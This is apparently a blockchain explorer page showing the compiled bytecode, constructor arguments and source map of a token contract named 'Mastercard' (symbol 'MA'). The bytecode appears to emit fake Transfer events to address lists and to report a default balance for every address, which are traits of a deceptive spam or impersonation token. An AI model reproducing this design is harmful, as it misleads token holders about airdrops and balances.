050565b61066e61070d565b6001600160a01b0381166106a557604051636896c93760e01b81526001600160a01b03821660048201526024015b60405180910390fd5b600280547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6060600680546102da90610d21565b5f336103688185856107cb565b610708838383600161085a565b505050565b6002546001600160a01b0316331461073a57604051636896c93760e01b815233600482015260240161069c565b565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198110156103ec57818110156107bd576040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526001600160a01b0384166004820152602481018290526044810183905260640161069c565b6103ec84848484035f61085a565b6001600160a01b03831661080d576040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081525f600482015260240161069c565b6001600160a01b03821661084f576040517fec442f050000000000000000000000000000000000000000000000000000000081525f600482015260240161069c565b61070883838361095e565b6001600160a01b03841661089c576040517fe602df050000000000000000000000000000000000000000000000000000000081525f600482015260240161069c565b6001600160a01b0383166108de576040517f94280d620000000000000000000000000000000000000000000000000000000081525f600482015260240161069c565b6001600160a01b038085165f90815260016020908152604080832093871683529290522082905580156103ec57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161095091815260200190565b60405180910390a350505050565b6001600160a01b03831615610a27576001600160a01b0383165f908152602081905260408120549081900361099257506004545b818110156109e5576040517fe450d38c0000000000000000000000000000000000000000000000000000000081526001600160a01b0385166004820152602481018290526044810183905260640161069c565b6001600160a01b0384165f908152602081905260408120838303908190559003610a25576001600160a01b0384165f908152602081905260409020600190555b505b6001600160a01b03821615610a54576001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a9991815260200190565b60405180910390a3505050565b5f602080835283518060208501525f5b81811015610ad257858101830151858201604001528201610ab6565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610b08575f80fd5b919050565b5f8060408385031215610b1e575f80fd5b610b2783610af2565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610b58575f80fd5b8135602067ffffffffffffffff80831115610b7557610b75610b35565b8260051b604051601f19603f83011681018181108482111715610b9a57610b9a610b35565b6040529384526020818701810194908101925087851115610bb9575f80fd5b6020870191505b84821015610be057610bd182610af2565b83529183019190830190610bc0565b979650505050505050565b5f8060408385031215610bfc575f80fd5b823567ffffffffffffffff811115610c12575f80fd5b610c1e85828601610b49565b95602094909401359450505050565b5f60208284031215610c3d575f80fd5b610c4682610af2565b9392505050565b5f805f60608486031215610c5f575f80fd5b610c6884610af2565b9250610c7660208501610af2565b9150604084013590509250925092565b5f60208284031215610c96575f80fd5b5035919050565b5f805f60608486031215610caf575f80fd5b610cb884610af2565b9250602084013567ffffffffffffffff811115610cd3575f80fd5b610cdf86828701610b49565b925050604084013590509250925092565b5f8060408385031215610d01575f80fd5b610d0a83610af2565b9150610d1860208401610af2565b90509250929050565b600181811c90821680610d3557607f821691505b602082108103610d5357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610d7d575f80fd5b5051919050565b5f60208284031215610d94575f80fd5b81518015158114610c46575f80fdfea264697066735822122084cfb455b7cae8dc2867bb9b93328b4ce653f8f6ff0e4177919cf91e151c514664736f6c63430008170033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000204fce5e3e250261100000000000000000000000000000000000000000000000204fce5e3e250261100000000000000000000000000000000000000000000000000000008ac7230489e80000000000000000000000000000000000000000000000000000000000000000000a4d6173746572636172640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024d41000000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Mastercard
Arg [1] : symbol_ (string): MA
Arg [2] : totalSupply_ (uint256): 10000000000000000000000000000
Arg [3] : initValue_ (uint256): 10000000000000000000000000000
Arg [4] : gift_ (uint256): 10000000000000000000

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 0000000000000000000000000000000000000000204fce5e3e25026110000000
Arg [3] : 0000000000000000000000000000000000000000204fce5e3e25026110000000
Arg [4] : 0000000000000000000000000000000000000000000000008ac7230489e80000
Arg [5] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [6] : 4d61737465726361726400000000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000002
Arg [8] : 4d41000000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

12317:6588:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13049:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14008:190;;;;;;;;;;-1:-1:-1;14008:190:0;;;;;:::i;:::-;;:::i;:::-;;;1192:14:1;;1185:22;1167:41;;1155:2;1140:18;14008:190:0;1027:187:1;13343:99:0;;;;;;;;;;-1:-1:-1;13422:12:0;;13343:99;;;1365:25:1;;;1353:2;1338:18;13343:99:0;1219:177:1;18028:236:0;;;;;;;;;;-1:-1:-1;18028:236:0;;;;;:::i;:::-;;:::i;:::-;;18567:335;;;;;;;;;;-1:-1:-1;18567:335:0;;;;;:::i;:::-;;:::i;14206:249::-;;;;;;;;;;-1:-1:-1;14206:249:0;;;;;:::i;:::-;;:::i;13251:84::-;;;;;;;;;;-1:-1:-1;13251:84:0;;13325:2;3596:36:1;;3584:2;3569:18;13251:84:0;3454:184:1;17141:506:0;;;;;;;;;;-1:-1:-1;17141:506:0;;;;;:::i;:::-;;:::i;13450:210::-;;;;;;;;;;-1:-1:-1;13450:210:0;;;;;:::i;:::-;;:::i;18272:252::-;;;;;;;;;;-1:-1:-1;18272:252:0;;;;;:::i;:::-;;:::i;17655:151::-;;;;;;;;;;-1:-1:-1;17655:151:0;;;;;:::i;:::-;;:::i;13148:95::-;;;;;;;;;;;;;:::i;13668:182::-;;;;;;;;;;-1:-1:-1;13668:182:0;;;;;:::i;:::-;;:::i;13858:142::-;;;;;;;;;;-1:-1:-1;13858:142:0;;;;;:::i;:::-;-1:-1:-1;;;;;13965:18:0;;;13938:7;13965:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13858:142;13049:91;13094:13;13127:5;13120:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13049:91;:::o;14008:190::-;14081:4;4417:10;14137:31;4417:10;14153:7;14162:5;14137:8;:31::i;:::-;-1:-1:-1;14186:4:0;;14008:190;-1:-1:-1;;;14008:190:0:o;18028:236::-;18122:15;;18109:10;18148:109;18169:5;18165:1;:9;18148:109;;;18225:8;18234:1;18225:11;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;18201:44:0;18218:4;-1:-1:-1;;;;;18201:44:0;;18238:6;18201:44;;;;1365:25:1;;1353:2;1338:18;;1219:177;18201:44:0;;;;;;;;18176:3;;18148:109;;;;18098:166;18028:236;;:::o;18567:335::-;17842:8;:6;:8::i;:::-;-1:-1:-1;;;;;18628:22:0;::::1;18624:119;;18675:2;::::0;18667:43:::1;::::0;-1:-1:-1;;;;;18675:2:0;;::::1;::::0;18688:21:::1;18667:43:::0;::::1;;;::::0;18675:2:::1;18667:43:::0;18675:2;18667:43;18688:21;18675:2;18667:43;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;18567:335:::0;:::o;18624:119::-:1;18816:35;::::0;;;;18845:4:::1;18816:35;::::0;::::1;5365:74:1::0;18780:6:0;;18753:17:::1;::::0;-1:-1:-1;;;;;18816:20:0;::::1;::::0;::::1;::::0;5338:18:1;;18816:35:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18882:2;::::0;18862:32:::1;::::0;;;;-1:-1:-1;;;;;18882:2:0;;::::1;18862:32;::::0;::::1;5813:74:1::0;5903:18;;;5896:34;;;18798:53:0;;-1:-1:-1;18862:19:0;::::1;::::0;::::1;::::0;5786:18:1;;18862:32:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;14206:249::-:0;14293:4;4417:10;14351:37;14367:4;4417:10;14382:5;14351:15;:37::i;:::-;14399:26;14409:4;14415:2;14419:5;14399:9;:26::i;:::-;-1:-1:-1;14443:4:0;;14206:249;-1:-1:-1;;;;14206:249:0:o;17141:506::-;17842:8;:6;:8::i;:::-;17231::::1;17265:1;17260:3;17253:14;;17294:1;17288:4;17281:15;17337:4;17332:3;17322:20;17372:4;17366:11;17409:1;17405:2;17401:10;17439:1;17435:2;17432:9;17460:1;17455:57;;;;17566:2;17560:4;17553:16;17425:159;;17455:57;17494:2;17488:4;17481:16;17425:159;;;;;17611:17;17605:4;17598:31;17141:506:::0;:::o;13450:210::-;-1:-1:-1;;;;;13548:18:0;;13515:7;13548:18;;;;;;;;;;;13581:7;;;13577:56;;-1:-1:-1;13610:11:0;;13577:56;13650:2;13450:210;-1:-1:-1;;13450:210:0:o;18272:252::-;18384:17;;18371:10;18412:105;18433:5;18429:1;:9;18412:105;;;18483:10;18494:1;18483:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;18465:40:0;18474:7;-1:-1:-1;;;;;18465:40:0;;18498:6;18465:40;;;;1365:25:1;;1353:2;1338:18;;1219:177;18465:40:0;;;;;;;;18440:3;;18412:105;;;;18360:164;18272:252;;;:::o;17655:151::-;17842:8;:6;:8::i;:::-;-1:-1:-1;;;;;17716:15:0;::::1;17712:70;;17755:15;::::0;-1:-1:-1;;;17755:15:0;;-1:-1:-1;;;;;5383:55:1;;17755:15:0::1;::::0;::::1;5365:74:1::0;5338:18;;17755:15:0::1;;;;;;;;17712:70;17792:2;:6:::0;;;::::1;-1:-1:-1::0;;;;;17792:6:0;;;::::1;::::0;;;::::1;::::0;;17655:151::o;13148:95::-;13195:13;13228:7;13221:14;;;;;:::i;13668:182::-;13737:4;4417:10;13793:27;4417:10;13810:2;13814:5;13793:9;:27::i;16058:130::-;16143:37;16152:5;16159:7;16168:5;16175:4;16143:8;:37::i;:::-;16058:130;;;:::o;17878:142::-;17933:2;;-1:-1:-1;;;;;17933:2:0;4417:10;17933:18;17929:84;;17975:26;;-1:-1:-1;;;17975:26:0;;4417:10;17975:26;;;5365:74:1;5338:18;;17975:26:0;5219:226:1;17929:84:0;17878:142::o;16647:486::-;-1:-1:-1;;;;;13965:18:0;;;16747:24;13965:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;16814:36:0;;16810:316;;;16890:5;16871:16;:24;16867:132;;;16923:60;;;;;-1:-1:-1;;;;;6443:55:1;;16923:60:0;;;6425:74:1;6515:18;;;6508:34;;;6558:18;;;6551:34;;;6398:18;;16923:60:0;6223:368:1;16867:132:0;17042:57;17051:5;17058:7;17086:5;17067:16;:24;17093:5;17042:8;:57::i;14463:317::-;-1:-1:-1;;;;;14556:18:0;;14552:88;;14598:30;;;;;14625:1;14598:30;;;5365:74:1;5338:18;;14598:30:0;5219:226:1;14552:88:0;-1:-1:-1;;;;;14654:16:0;;14650:88;;14694:32;;;;;14723:1;14694:32;;;5365:74:1;5338:18;;14694:32:0;5219:226:1;14650:88:0;14748:24;14756:4;14762:2;14766:5;14748:7;:24::i;16196:443::-;-1:-1:-1;;;;;16309:19:0;;16305:91;;16352:32;;;;;16381:1;16352:32;;;5365:74:1;5338:18;;16352:32:0;5219:226:1;16305:91:0;-1:-1:-1;;;;;16410:21:0;;16406:92;;16455:31;;;;;16483:1;16455:31;;;5365:74:1;5338:18;;16455:31:0;5219:226:1;16406:92:0;-1:-1:-1;;;;;16508:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;16554:78;;;;16605:7;-1:-1:-1;;;;;16589:31:0;16598:5;-1:-1:-1;;;;;16589:31:0;;16614:5;16589:31;;;;1365:25:1;;1353:2;1338:18;;1219:177;16589:31:0;;;;;;;;16196:443;;;;:::o;14788:822::-;-1:-1:-1;;;;;14880:18:0;;14876:537;;;-1:-1:-1;;;;;14957:15:0;;14935:19;14957:15;;;;;;;;;;;;14991:16;;;14987:82;;-1:-1:-1;15042:11:0;;14987:82;15101:5;15087:11;:19;15083:117;;;15134:50;;;;;-1:-1:-1;;;;;6443:55:1;;15134:50:0;;;6425:74:1;6515:18;;;6508:34;;;6558:18;;;6551:34;;;6398:18;;15134:50:0;6223:368:1;15083:117:0;-1:-1:-1;;;;;15243:15:0;;:9;:15;;;;;;;;;;15261:19;;;15243:37;;;;15303:20;;15299:88;;-1:-1:-1;;;;;15348:15:0;;:9;:15;;;;;;;;;;15366:1;15348:19;;15299:88;14920:493;14876:537;-1:-1:-1;;;;;15429:16:0;;15425:135;;;-1:-1:-1;;;;;15511:13:0;;:9;:13;;;;;;;;;;:22;;;;;;15425:135;15592:2;-1:-1:-1;;;;;15577:25:0;15586:4;-1:-1:-1;;;;;15577:25:0;;15596:5;15577:25;;;;1365::1;;1353:2;1338:18;;1219:177;15577:25:0;;;;;;;;14788:822;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:196::-;635:20;;-1:-1:-1;;;;;684:54:1;;674:65;;664:93;;753:1;750;743:12;664:93;567:196;;;:::o;768:254::-;836:6;844;897:2;885:9;876:7;872:23;868:32;865:52;;;913:1;910;903:12;865:52;936:29;955:9;936:29;:::i;:::-;926:39;1012:2;997:18;;;;984:32;;-1:-1:-1;;;768:254:1:o;1401:184::-;-1:-1:-1;;;1450:1:1;1443:88;1550:4;1547:1;1540:15;1574:4;1571:1;1564:15;1590:914;1644:5;1697:3;1690:4;1682:6;1678:17;1674:27;1664:55;;1715:1;1712;1705:12;1664:55;1751:6;1738:20;1777:4;1800:18;1837:2;1833;1830:10;1827:36;;;1843:18;;:::i;:::-;1889:2;1886:1;1882:10;1921:2;1915:9;1984:2;1980:7;1975:2;1971;1967:11;1963:25;1955:6;1951:38;2039:6;2027:10;2024:22;2019:2;2007:10;2004:18;2001:46;1998:72;;;2050:18;;:::i;:::-;2086:2;2079:22;2136:18;;;2182:4;2214:15;;;2210:26;;;2170:17;;;;-1:-1:-1;2248:15:1;;;2245:35;;;2276:1;2273;2266:12;2245:35;2312:4;2304:6;2300:17;2289:28;;2326:148;2342:6;2337:3;2334:15;2326:148;;;2408:23;2427:3;2408:23;:::i;:::-;2396:36;;2452:12;;;;2359;;;;2326:148;;;2492:6;1590:914;-1:-1:-1;;;;;;;1590:914:1:o;2509:416::-;2602:6;2610;2663:2;2651:9;2642:7;2638:23;2634:32;2631:52;;;2679:1;2676;2669:12;2631:52;2719:9;2706:23;2752:18;2744:6;2741:30;2738:50;;;2784:1;2781;2774:12;2738:50;2807:61;2860:7;2851:6;2840:9;2836:22;2807:61;:::i;:::-;2797:71;2915:2;2900:18;;;;2887:32;;-1:-1:-1;;;;2509:416:1:o;2930:186::-;2989:6;3042:2;3030:9;3021:7;3017:23;3013:32;3010:52;;;3058:1;3055;3048:12;3010:52;3081:29;3100:9;3081:29;:::i;:::-;3071:39;2930:186;-1:-1:-1;;;2930:186:1:o;3121:328::-;3198:6;3206;3214;3267:2;3255:9;3246:7;3242:23;3238:32;3235:52;;;3283:1;3280;3273:12;3235:52;3306:29;3325:9;3306:29;:::i;:::-;3296:39;;3354:38;3388:2;3377:9;3373:18;3354:38;:::i;:::-;3344:48;;3439:2;3428:9;3424:18;3411:32;3401:42;;3121:328;;;;;:::o;3643:180::-;3702:6;3755:2;3743:9;3734:7;3730:23;3726:32;3723:52;;;3771:1;3768;3761:12;3723:52;-1:-1:-1;3794:23:1;;3643:180;-1:-1:-1;3643:180:1:o;3828:490::-;3930:6;3938;3946;3999:2;3987:9;3978:7;3974:23;3970:32;3967:52;;;4015:1;4012;4005:12;3967:52;4038:29;4057:9;4038:29;:::i;:::-;4028:39;;4118:2;4107:9;4103:18;4090:32;4145:18;4137:6;4134:30;4131:50;;;4177:1;4174;4167:12;4131:50;4200:61;4253:7;4244:6;4233:9;4229:22;4200:61;:::i;:::-;4190:71;;;4308:2;4297:9;4293:18;4280:32;4270:42;;3828:490;;;;;:::o;4323:260::-;4391:6;4399;4452:2;4440:9;4431:7;4427:23;4423:32;4420:52;;;4468:1;4465;4458:12;4420:52;4491:29;4510:9;4491:29;:::i;:::-;4481:39;;4539:38;4573:2;4562:9;4558:18;4539:38;:::i;:::-;4529:48;;4323:260;;;;;:::o;4588:437::-;4667:1;4663:12;;;;4710;;;4731:61;;4785:4;4777:6;4773:17;4763:27;;4731:61;4838:2;4830:6;4827:14;4807:18;4804:38;4801:218;;-1:-1:-1;;;4872:1:1;4865:88;4976:4;4973:1;4966:15;5004:4;5001:1;4994:15;4801:218;;4588:437;;;:::o;5030:184::-;-1:-1:-1;;;5079:1:1;5072:88;5179:4;5176:1;5169:15;5203:4;5200:1;5193:15;5450:184;5520:6;5573:2;5561:9;5552:7;5548:23;5544:32;5541:52;;;5589:1;5586;5579:12;5541:52;-1:-1:-1;5612:16:1;;5450:184;-1:-1:-1;5450:184:1:o;5941:277::-;6008:6;6061:2;6049:9;6040:7;6036:23;6032:32;6029:52;;;6077:1;6074;6067:12;6029:52;6109:9;6103:16;6162:5;6155:13;6148:21;6141:5;6138:32;6128:60;;6184:1;6181;6174:12

Swarm Source

ipfs://84cfb455b7cae8dc2867bb9b93328b4ce653f8f6ff0e4177919cf91e151c5146
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.